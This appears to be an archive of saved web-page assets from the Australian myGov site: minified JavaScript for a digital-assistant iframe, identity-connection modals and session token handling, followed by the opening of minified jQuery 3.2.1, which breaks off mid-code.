addListenerForIframe(){window.addEventListener("message",function(e){if(e.data&&e.data.type=="error"){e.stopPropagation();jQuery("#va_chatAnchor").hide();}else{if(e.data&&e.data.type=="interaction"){e.stopPropagation();recordBotInteraction(new Date());}else{if(e.data&&e.data.type=="ready"){e.stopPropagation();if(va_isOpen){postMessageToIframe({"type":0,"query":{"text":[],"id":"Welcome"}});}jQuery("#va_chatAnchor").show();}else{if(e.data&&e.data.type=="reload"){e.stopPropagation();if(va_isOpen){if(va_isMobile){toggleVAMobile();}else{toggleVADesktop();}}}else{if(e.data=="loopFocusForward"){skipToSkipToConversation();e.stopPropagation();}else{if(e.data=="loopFocusForwardError"){setTimeout(function(){skipToResizeIcon();},100);e.stopPropagation();}else{if(e.data=="addOnBackwardsTabbing"){addOnBackwardsTabbing();}else{if(e.data=="loopFocusForwardOptionButton"){skipToSkipToConversation();addSkipToConversationTabListener();}else{if(e.data=="errorDisplayed"){hideSkipToConversation();loopFocusBackwardWithError();}else{if(e.data=="textboxFocus"){setTimeout(function(){scrollPageToBottom();},100);}}}}}}}}}}});}function addDigitalAssistant(){va_isMobile=isWindowMobile();insertDiv();insertIframe();insertIframeSrc();addOnResize();addSkipToBot();addOnSkipToConversation();addListenerForIframe();addOnClickDesktop();addOnClickMobile();window.addEventListener("resize",responsiveResize);}function scrollPageToBottom(){window.scrollTo(0,document.body.scrollHeight);}function isIE(){var myNav=navigator.userAgent.toLowerCase();return(myNav.indexOf("msie")!=-1)?parseInt(myNav.split("msie")[1]):false;}function newShowIdentityModal(){const modalBackground=document.getElementById("digital-id-modal-background");modalBackground.classList.remove("new-hide");modalBackground.classList.add("new-fade");modalBackground.classList.add("new-show");const modalContent=document.getElementById("new-modal-content");modalContent.setAttribute("open","true");modalContent.classList.remove("new-hide");modalContent.classList.add("new-slide-in");modalContent.setAttribute("aria-modal","true");modalContent.setAttribute("aria-expanded","true");modalContent.setAttribute("aria-hidden","false");document.getElementById("first-dismiss").focus();document.getElementById("identity-display-form").addEventListener("submit",ignoreSubmit);document.getElementById("digital-id-modal-background").addEventListener("click",newHideIdentityModal);document.addEventListener("keydown",handleKeyboardInput);if(window.dynaTrace){var action=window.dynaTrace.enterAction("showIdentityModal","click");window.dynaTrace.leaveAction(action);}}function ignoreSubmit(event){event.preventDefault();return false;}function handleKeyboardInput(trigger){if(trigger.code){switch(trigger.code){case"Escape":keyboardDismiss();break;case"Tab":const primaryModal=document.getElementById("new-modal-content");const secondaryModal=document.getElementById("secondary-identity-modal");if(primaryModal&&primaryModal.getAttribute("open")==="true"){trapFocusPrimary(trigger);}if(secondaryModal&&secondaryModal.getAttribute("open")==="true"){trapFocusSecondary(trigger);}break;case"Enter":if(document.activeElement===document.getElementById("decline-digital-identity")){trigger.preventDefault();document.getElementById("decline-digital-identity").checked=true;}if(document.activeElement===document.getElementById("confirm-digital-identity")){trigger.preventDefault();document.getElementById("confirm-digital-identity").checked=true;}document.getElementById("identity-first-confirm-button").disabled=false;break;}}}function trapFocusPrimary(event){var focusableElements=[document.getElementById("first-dismiss"),document.getElementById("decline-digital-identity"),document.getElementById("confirm-digital-identity"),document.getElementById("identity-first-confirm-button")];var firstFocused=focusableElements[0];var lastFocused=focusableElements[3];if(lastFocused.disabled){lastFocused=focusableElements[1];}if(event.shiftKey&&event.keyCode===9){if(document.activeElement===firstFocused){lastFocused.focus();event.preventDefault();}}else{if(document.activeElement===lastFocused){firstFocused.focus();event.preventDefault();}}}function removeSelection(){document.getElementById("confirm-digital-identity").checked=false;document.getElementById("decline-digital-identity").checked=false;document.getElementById("identity-first-confirm-button").disabled=true;}function trapFocusSecondary(event){var focusableElements=[document.getElementById("second-dismiss"),document.getElementById("return-to-mygov-link"),document.getElementById("identity-second-confirm-button")];var first=focusableElements[0];var last=focusableElements[2];if(event.shiftKey&&event.keyCode===9){if(document.activeElement===first){last.focus();event.preventDefault();}else{if(document.activeElement===focusableElements[1]){first.focus();event.preventDefault();}}}else{if(document.activeElement===last){first.focus();event.preventDefault();}}}function keyboardDismiss(){const primaryModal=document.getElementById("new-modal-content");const secondaryModal=document.getElementById("secondary-identity-modal");if(primaryModal&&primaryModal.getAttribute("open")==="true"){newHideIdentityModal();}if(secondaryModal&&secondaryModal.getAttribute("open")==="true"){hideSecondaryModal();}}function enableProgressButton(){const button=document.getElementById("identity-first-confirm-button");button.disabled=false;}function summonSecondModal(){const secondaryModal=document.getElementById("secondary-identity-modal");secondaryModal.classList.remove("hidden");secondaryModal.classList.add("shown");secondaryModal.setAttribute("open","true");secondaryModal.setAttribute("aria-modal","true");secondaryModal.setAttribute("aria-expanded","true");secondaryModal.setAttribute("aria-hidden","false");document.getElementById("second-dismiss").focus();}function hideSecondaryModal(){const secondaryModal=document.getElementById("secondary-identity-modal");secondaryModal.classList.remove("shown");secondaryModal.classList.add("hidden");secondaryModal.setAttribute("open","false");secondaryModal.setAttribute("open","false");secondaryModal.setAttribute("aria-modal","false");secondaryModal.setAttribute("aria-expanded","false");secondaryModal.setAttribute("aria-hidden","true");fadeOutBackground();}function harshHideIdentityModal(){const modalContent=document.getElementById("new-modal-content");modalContent.classList.remove("new-slide-out");modalContent.classList.add("new-hide");modalContent.setAttribute("aria-modal","false");modalContent.setAttribute("aria-expanded","false");modalContent.setAttribute("aria-hidden","true");summonSecondModal();}function fadeOutBackground(){document.getElementById("digital-id-modal-background").removeEventListener("click",newHideIdentityModal);const modalBackground=document.getElementById("digital-id-modal-background");modalBackground.classList.remove("new-fade");modalBackground.classList.remove("new-show");modalBackground.classList.add("new-fade-out");removeSelection();setTimeout(function(){modalBackground.classList.remove("new-fade-out");modalBackground.classList.add("new-hide");},199);}function newHideIdentityModal(){const secondaryModal=document.getElementById("secondary-identity-modal");if(secondaryModal.classList.contains("shown")){hideSecondaryModal();}fadeOutBackground();const modalContent=document.getElementById("new-modal-content");modalContent.setAttribute("open","false");modalContent.classList.add("new-slide-out");setTimeout(function(){modalContent.classList.remove("new-slide-out");modalContent.classList.add("new-hide");modalContent.setAttribute("aria-modal","false");modalContent.setAttribute("aria-expanded","false");modalContent.setAttribute("aria-hidden","true");},999);}$("#identity-first-confirm-button").on("click",function(e){e.preventDefault();if(document.getElementById("confirm-digital-identity").checked===false){if(window.dynaTrace){var noIdentityAction=window.dynaTrace.enterAction("identityNotConnected","click");window.dynaTrace.leaveAction(noIdentityAction);}harshHideIdentityModal();return false;}else{if(window.dynaTrace){var hasIdentityAction=window.dynaTrace.enterAction("identityConnected","click");window.dynaTrace.leaveAction(hasIdentityAction);}window.location=document.getElementById("identity-first-confirm-button").getAttribute("data-kickoff-url");return false;}});var lastInteractionDate;var timeoutEventId;function getToken(isAuthenticated){var xhttp=new XMLHttpRequest();var jsontext;xhttp.onreadystatechange=function(){try{if(this.readyState==4&&this.status==200){var jsontext=JSON.parse(this.responseText);storage.save(jsontext);var source=sessionStorage.url+sessionStorage.jwt;if(typeof(Storage)!=="undefined"){if(sessionStorage.dis==="false"){source="";storage.clear();}}setIFrameSrc(source);}}catch(e){storage.clear();}};var host=window.location.hostname;var tokenUrl="/mga/sps/apiauthsvc/policy/vagt";if(isAuthenticated&&typeof(Storage)!=="undefined"){xhttp.open("POST",tokenUrl,true);xhttp.setRequestHeader("Content-Type","application/json");xhttp.setRequestHeader("Accept","application/json");var token=sessionStorage.jwt;xhttp.send(JSON.stringify({token:token}));}else{xhttp.open("GET",tokenUrl,true);xhttp.setRequestHeader("Content-Type","application/json");xhttp.setRequestHeader("Accept","application/json");xhttp.send();}return sessionStorage.jwt;}function isValidToken(token){var decodedToken=parseToken(token);if(decodedToken.exp>Date.now()/1000){return true;}return false;}function parseToken(token){var base64Url=token.split(".")[1];var base64=base64Url.replace(/-/g,"+").replace(/_/g,"/");return JSON.parse(window.atob(base64));}function checkAuthenticated(){var isAuthenticated=false;var isAuthHomepage=($("#digitalassistant-auth").length>0);var isLoginPage=($("#digitalassistant-unauth").length>0);if(isAuthHomepage||(storage.check()&&sessionStorage.aut==="true")){isAuthenticated=true;}else{if(isLoginPage){isAuthenticated=false;}}return isAuthenticated;}function setDAsource(){var isAuthenticated=false;var daSrc="";var token="";var isAuthHomepage=($("#digitalassistant-auth").length>0);var isLoginPage=($("#digitalassistant-unauth").length>0);if(isAuthHomepage){isAuthenticated=true;token=getToken(isAuthenticated);}else{if(isLoginPage){isAuthenticated=false;storage.clear();token=getToken(isAuthenticated);}else{if(storage.check()&&isValidToken(sessionStorage.jwt)){daSrc=sessionStorage.url+sessionStorage.jwt;}else{if(isAuthHomepage||(storage.check()&&sessionStorage.aut==="true")){isAuthenticated=true;}token=getToken(isAuthenticated);if(typeof token!="undefined"&&storage.check()){daSrc=sessionStorage.url+token;}}}}if(typeof(Storage)!=="undefined"){if(sessionStorage.dis==="false"){daSrc="";}}return daSrc;}function recordBotInteraction(currentInteractionDate){var timeoutValue=300000;var diff=(currentInteractionDate-lastInteractionDate);if(typeof timeoutEventId=="undefined"||typeof lastInteractionDate=="undefined"){timeoutEventId=setTimeout(function(){initiateNewConversation();},timeoutValue);}else{if(diff<timeoutValue){clearTimeout(timeoutEventId);timeoutEventId=setTimeout(function(){initiateNewConversation();},timeoutValue);}}lastInteractionDate=currentInteractionDate;}function initiateNewConversation(){var isAuthenticated=checkAuthenticated();if(!isAuthenticated){getToken(isAuthenticated);}}var storage={save:function(result){if(typeof(Storage)!=="undefined"){sessionStorage.clear();}if(typeof result!="undefined"&&typeof(Storage)!=="undefined"){sessionStorage.url=result["url"];sessionStorage.jwt=result["jwt"];sessionStorage.aut=result["authenticated"];sessionStorage.dis=result["enable"];}},clear:function(){if(typeof(Storage)!=="undefined"){sessionStorage.clear();}},check:function(){if(typeof(Storage)!=="undefined"){if(sessionStorage.jwt&&sessionStorage.url){return true;}else{return false;}}}};function isWebView(){var userAgent=window.navigator.userAgent.toLowerCase();var safari=/safari/.test(userAgent);var ios=/iphone|ipod|ipad/.test(userAgent);if(ios){if(!safari){return true;}}else{return false;}}$(document).ready(function(){if($("#digitalassistant").length>0||($("#digitalassistant-auth").length>0)){if(!isWebView()){addDigitalAssistant();}}});$(document).ready(function(){(function($){$(":radio[data-cadi-flow]").on("change",function(){var selected=this.value;switch(selected){case"digitalID":jQuery("#connectedIdButton").hide();jQuery("#digitalIdButton").show();break;case"connectedID":jQuery("#connectedIdButton").show();jQuery("#digitalIdButton").hide();break;default:}});})(jQuery);});mygov/app/smsone_files/mgv2-vendor.js.download000064400000450717151676702570015523 0ustar00/*! jQuery v3.2.1 | (c) JS Foundation and other contributors | jquery.org/license */ !function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b||d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(f.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(a<0?b:0);return this.pushStack(c>=0&&c<b?[this[c]]:[])},end:function(){return this.prevObject||this.constructor()},push:h,sort:c.sort,splice:c.splice},r.extend=r.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||r.isFunction(g)||(g={}),h===i&&(g=this,h--);h<i;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(r.isPlainObject(d)||(e=Array.isArray(d)))?(e?(e=!1,f=c&&Array.isArray(c)?c:[]):f=c&&r.isPlainObject(c)?c:{},g[b]=r.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},r.extend({expando:"jQuery"+(q+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===r.type(a)},isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){var b=r.type(a);return("number"===b||"string"===b)&&!isNaN(a-parseFloat(a))},isPlainObject:function(a){var b,c;return!(!a||"[object Object]"!==k.call(a))&&(!(b=e(a))||(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?j[k.call(a)]||"object":typeof a},globalEval:function(a){p(a)},camelCase:function(a){return a.replace(t,"ms-").replace(u,v)},each:function(a,b){var c,d=0;if(w(a)){for(c=a.length;d<c;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(s,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(w(Object(a))?r.merge(c,"string"==typeof a?[a]:a):h.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:i.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;d<c;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;f<g;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,e,f=0,h=[];if(w(a))for(d=a.length;f<d;f++)e=b(a[f],f,c),null!=e&&h.push(e);else for(f in a)e=b(a[f],f,c),null!=e&&h.push(e);return g.apply([],h)},guid:1,proxy:function(a,b){var c,d,e;if("string"==typeof b&&(c=a[b],b=a,a=c),r.isFunction(a))return d=f.call(arguments,2),e=function(){return a.apply(b||this,d.concat(f.call(arguments)))},e.guid=a.guid=a.guid||r.guid++,e},now:Date.now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"length"in a&&a.length,c=r.type(a);return"function"!==c&&!r.isWindow(a)&&("array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=function(a,b){for(var c=0,d=a.length;c<d;c++)if(a[c]===b)return c;return-1},J="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",K="[\\x20\\t\\r\\n\\f]",L="(?:\\\\.|[\\w-]|[^\0-\\xa0])+",M="\\["+K+"*("+L+")(?:"+K+"*([*^$|!~]?=)"+K+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+L+"))|)"+K+"*\\]",N=":("+L+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+M+")*)|.*)\\)|)",O=new RegExp(K+"+","g"),P=new RegExp("^"+K+"+|((?:^|[^\\\\])(?:\\\\.)*)"+K+"+$","g"),Q=new RegExp("^"+K+"*,"+K+"*"),R=new RegExp("^"+K+"*([>+~]|"+K+")"+K+"*"),S=new RegExp("="+K+"*([^\\]'\"]*?)"+K+"*\\]","g"),T=new RegExp(N),U=new RegExp("^"+L+"$"),V={ID:new RegExp("^#("+L+")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"|[*])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+K+"*(even|odd|(([+-]|)(\\d*)n|)"+K+"*(?:([+-]|)"+K+"*(\\d+)|))"+K+"*\\)|)","i"),bool:new RegExp("^(?:"+J+")$","i"),needsContext:new RegExp("^"+K+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+K+"*((?:-\\d)?\\d*)"+K+"*\\)|)(?=[^-]|$)","i")},W=/^(?:input|select|textarea|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da-f]{1,6}"+K+"?|("+K+")|.)","ig"),aa=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:d<0?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ba=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ca=function(a,b){return b?"\0"===a?"\ufffd":a.slice(0,-1)+"\\"+a.charCodeAt(a.length-1).toString(16)+" ":"\\"+a},da=function(){m()},ea=ta(function(a){return a.disabled===!0&&("form"in a||"label"in a)},{dir:"parentNode",next:"legend"});try{G.apply(D=H.call(v.childNodes),v.childNodes),D[v.childNodes.length].nodeType}catch(fa){G={apply:D.length?function(a,b){F.apply(a,H.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s=b&&b.ownerDocument,w=b?b.nodeType:9;if(d=d||[],"string"!=typeof a||!a||1!==w&&9!==w&&11!==w)return d;if(!e&&((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push(j),d}else{if(l[2])return G.apply(d,b.getElementsByTagName(a)),d;if((f=l[3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q||!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.setAttribute("id",k=u),o=g(a),h=o.length;while(h--)o[h]="#"+k+" "+sa(o[h]);r=o.join(","),s=$.test(a)&&qa(b.parentNode)||b}if(r)try{return G.apply(d,s.querySelectorAll(r)),d}catch(x){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(P,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("fieldset");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&a.sourceIndex-b.sourceIndex;if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.parentNode&&b.disabled===!1?"label"in b?"label"in b.parentNode?b.parentNode.disabled===a:b.disabled===a:b.isDisabled===a||b.isDisabled!==!a&&ea(b)===a:b.disabled===a:"label"in b&&b.disabled===a}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function qa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return!!b&&"HTML"!==b.nodeName},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),v!==n&&(e=n.defaultView)&&e.top!==e&&(e.addEventListener?e.addEventListener("unload",da,!1):e.attachEvent&&e.attachEvent("onunload",da)),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Y.test(n.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!n.getElementsByName||!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}}):(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c,d,e,f=b.getElementById(a);if(f){if(c=f.getAttributeNode("id"),c&&c.value===a)return[f];e=b.getElementsByName(a),d=0;while(f=e[d++])if(c=f.getAttributeNode("id"),c&&c.value===a)return[f]}return[]}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){if("undefined"!=typeof b.getElementsByClassName&&p)return b.getElementsByClassName(a)},r=[],q=[],(c.qsa=Y.test(n.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="<a id='"+u+"'></a><select id='"+u+"-\r\\' msallowcapture=''><option selected=''></option></select>",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+K+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+K+"*(?:value|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){a.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"*[*^$|!~]?="),2!==a.querySelectorAll(":enabled").length&&q.push(":enabled",":disabled"),o.appendChild(a).disabled=!0,2!==a.querySelectorAll(":disabled").length&&q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=Y.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"*"),s.call(a,"[s!='']:x"),r.push("!=",N)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=Y.test(o.compareDocumentPosition),t=b||Y.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===n||a.ownerDocument===v&&t(v,a)?-1:b===n||b.ownerDocument===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e||!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?la(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(S,"='$1']"),c.matchesSelector&&p&&!A[b+" "]&&(!r||!r.test(b))&&(!q||!q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&C.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.escape=function(a){return(a+"").replace(ba,ca)},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(_,aa),a[3]=(a[3]||a[4]||a[5]||"").replace(_,aa),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return V.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&T.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(_,aa).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+K+")"+a+"("+K+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:!b||(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(O," ")+" ").indexOf(c)>-1:"|="===b&&(e===c||e.slice(0,c.length+1)===c+"-"))}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h,t=!1;if(q){if(f){while(p){m=b;while(m=m[p])if(h?m.nodeName.toLowerCase()===r:1===m.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){m=q,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n),t===!1)while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if((h?m.nodeName.toLowerCase()===r:1===m.nodeType)&&++t&&(s&&(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d||t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=I(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return 